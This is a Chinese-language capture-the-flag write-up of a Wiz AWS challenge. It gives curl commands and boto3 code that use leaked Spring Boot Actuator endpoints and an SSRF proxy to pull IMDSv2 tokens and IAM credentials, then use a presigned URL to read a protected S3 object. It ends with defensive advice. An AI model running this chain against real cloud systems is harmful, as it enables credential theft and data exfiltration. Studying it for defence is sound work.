WIZ竞标赛 Perimeter Leak wp
字数 1694 2025-10-01 14:05:44

AWS 安全渗透:Spring Boot Actuator 漏洞利用与 S3 数据泄露实战

1. 背景与目标

在一次针对 AWS 环境的渗透测试中,我们发现了一个 Spring Boot Actuator 应用,其端点存在信息泄露漏洞。最终目标是获取存储在 S3 存储桶中的敏感数据(flag)。

初始访问点:

https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com

2. 信息收集与漏洞发现

2.1 Actuator 端点枚举

通过访问 /actuator 端点发现多个信息泄露点:

# 检查应用状态
curl -k "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com"

# 访问环境变量端点
curl -k "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator/env"

在环境信息中发现关键数据:

  • S3 存储桶地址:https://challenge01-470f711.s3.amazonaws.com/
  • EC2 元数据服务相关配置

2.2 路由映射分析

访问 /actuator/mappings 发现存在代理接口:

GET /proxy?url={url}

此接口存在 SSRF(服务器端请求伪造)漏洞,可用于内部网络探测。

3. SSRF 攻击与 IMDSv2 绕过

3.1 IMDSv2 安全机制

AWS 的实例元数据服务 v2 版本需要以下访问流程:

  1. 首先向 http://169.254.169.254/latest/api/token 发送 PUT 请求
  2. 获取临时 token(需设置 TTL 头)
  3. 使用该 token 访问其他元数据端点

3.2 获取元数据访问令牌

# 获取 IMDSv2 token
curl -k -X PUT \
  "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 3600"

3.3 获取实例元数据

使用获取的 token 访问元数据:

# 获取 IAM 角色信息
curl -k \
  "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
  -H "X-aws-ec2-metadata-token: <上面获取的token>"

# 获取临时凭证
curl -k \
  "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<角色名称>" \
  -H "X-aws-ec2-metadata-token: <token>"

4. AWS 凭证配置与权限分析

4.1 配置 AWS CLI

将获取的临时凭证配置到本地:

aws configure set aws_access_key_id <AccessKeyId>
aws configure set aws_secret_access_key <SecretAccessKey>
aws configure set aws_session_token <Token>

4.2 权限枚举

发现权限受限,仅能执行部分 STS 和 DynamoDB 操作:

# 测试可用服务
aws sts get-caller-identity
aws dynamodb list-tables

5. 绕过 VPC Endpoint 限制

5.1 策略分析

S3 存储桶策略检查 aws:SourceVpce 条件,要求请求必须来自特定 VPC Endpoint(vpce-0dfd8b6aa1642a057)。

5.2 预签名 URL 技术

生成预签名 URL 绕过端点限制:

import boto3
from urllib.parse import quote

# 使用获取的凭证创建 S3 客户端
s3 = boto3.client(
    's3',
    aws_access_key_id='ACCESS_KEY',
    aws_secret_access_key='SECRET_KEY',
    aws_session_token='SESSION_TOKEN'
)

# 生成预签名 URL(需要对特殊字符进行 URL 编码)
presigned_url = s3.generate_presigned_url(
    'get_object',
    Params={'Bucket': 'challenge01-470f711', 'Key': 'private/flag.txt'},
    ExpiresIn=3600
)

# URL 编码
encoded_url = quote(presigned_url, safe='')

5.3 通过代理接口访问

curl -k \
  "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=${encoded_url}"

6. 关键知识点总结

6.1 Spring Boot Actuator 安全

  • Actuator 端点可能泄露敏感信息(env、mappings、heapdump 等)
  • 应禁用不必要的端点或实施访问控制

6.2 IMDSv2 安全机制

  • 需要 PUT 请求获取 token
  • 比 IMDSv1 更安全,防止简单的 SSRF 攻击
  • 但仍可通过能够发送头部信息的 SSRF 漏洞绕过

6.3 VPC Endpoint 限制绕过

  • 预签名 URL 允许临时授权访问 S3 资源
  • 不检查请求源,仅验证签名有效性
  • 需要正确处理 URL 编码

6.4 AWS 权限边界

  • 即使获取临时凭证,也可能受到策略限制
  • 需要仔细分析可用权限和绕过方法

7. 防御建议

  1. 保护 Actuator 端点

    • 实施身份验证和授权
    • 禁用生产环境中不必要的端点
  2. 加固 IMDS

    • 使用 IMDSv2 并设置跳数限制
    • 使用 IAM 策略限制元数据访问
  3. S3 存储桶安全

    • 避免使用仅依赖 VPC Endpoint 的策略
    • 结合多种条件(如源IP、IAM角色等)
  4. 网络隔离

    • 限制实例的出站互联网访问
    • 使用安全组和网络 ACL 加强控制

8. 参考资源

  • AWS IMDSv2 文档:https://docs.aws.amazon.com/zh_cn/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html
  • S3 预签名 URL:https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html
  • Spring Boot Actuator 安全:https://spring.io/guides/gs/actuator-service/

通过本案例,我们展示了如何利用常见的配置错误和安全漏洞,从信息泄露到最终获取敏感数据的完整攻击链。这对于防御方理解如何加固 AWS 环境具有重要意义。

AWS 安全渗透:Spring Boot Actuator 漏洞利用与 S3 数据泄露实战 1. 背景与目标 在一次针对 AWS 环境的渗透测试中,我们发现了一个 Spring Boot Actuator 应用,其端点存在信息泄露漏洞。最终目标是获取存储在 S3 存储桶中的敏感数据(flag)。 初始访问点: 2. 信息收集与漏洞发现 2.1 Actuator 端点枚举 通过访问 /actuator 端点发现多个信息泄露点: 在环境信息中发现关键数据: S3 存储桶地址: https://challenge01-470f711.s3.amazonaws.com/ EC2 元数据服务相关配置 2.2 路由映射分析 访问 /actuator/mappings 发现存在代理接口: 此接口存在 SSRF(服务器端请求伪造)漏洞,可用于内部网络探测。 3. SSRF 攻击与 IMDSv2 绕过 3.1 IMDSv2 安全机制 AWS 的实例元数据服务 v2 版本需要以下访问流程: 首先向 http://169.254.169.254/latest/api/token 发送 PUT 请求 获取临时 token(需设置 TTL 头) 使用该 token 访问其他元数据端点 3.2 获取元数据访问令牌 3.3 获取实例元数据 使用获取的 token 访问元数据: 4. AWS 凭证配置与权限分析 4.1 配置 AWS CLI 将获取的临时凭证配置到本地: 4.2 权限枚举 发现权限受限,仅能执行部分 STS 和 DynamoDB 操作: 5. 绕过 VPC Endpoint 限制 5.1 策略分析 S3 存储桶策略检查 aws:SourceVpce 条件,要求请求必须来自特定 VPC Endpoint(vpce-0dfd8b6aa1642a057)。 5.2 预签名 URL 技术 生成预签名 URL 绕过端点限制: 5.3 通过代理接口访问 6. 关键知识点总结 6.1 Spring Boot Actuator 安全 Actuator 端点可能泄露敏感信息(env、mappings、heapdump 等) 应禁用不必要的端点或实施访问控制 6.2 IMDSv2 安全机制 需要 PUT 请求获取 token 比 IMDSv1 更安全,防止简单的 SSRF 攻击 但仍可通过能够发送头部信息的 SSRF 漏洞绕过 6.3 VPC Endpoint 限制绕过 预签名 URL 允许临时授权访问 S3 资源 不检查请求源,仅验证签名有效性 需要正确处理 URL 编码 6.4 AWS 权限边界 即使获取临时凭证,也可能受到策略限制 需要仔细分析可用权限和绕过方法 7. 防御建议 保护 Actuator 端点 : 实施身份验证和授权 禁用生产环境中不必要的端点 加固 IMDS : 使用 IMDSv2 并设置跳数限制 使用 IAM 策略限制元数据访问 S3 存储桶安全 : 避免使用仅依赖 VPC Endpoint 的策略 结合多种条件(如源IP、IAM角色等) 网络隔离 : 限制实例的出站互联网访问 使用安全组和网络 ACL 加强控制 8. 参考资源 AWS IMDSv2 文档:https://docs.aws.amazon.com/zh_ cn/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html S3 预签名 URL:https://docs.aws.amazon.com/zh_ cn/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html Spring Boot Actuator 安全:https://spring.io/guides/gs/actuator-service/ 通过本案例,我们展示了如何利用常见的配置错误和安全漏洞,从信息泄露到最终获取敏感数据的完整攻击链。这对于防御方理解如何加固 AWS 环境具有重要意义。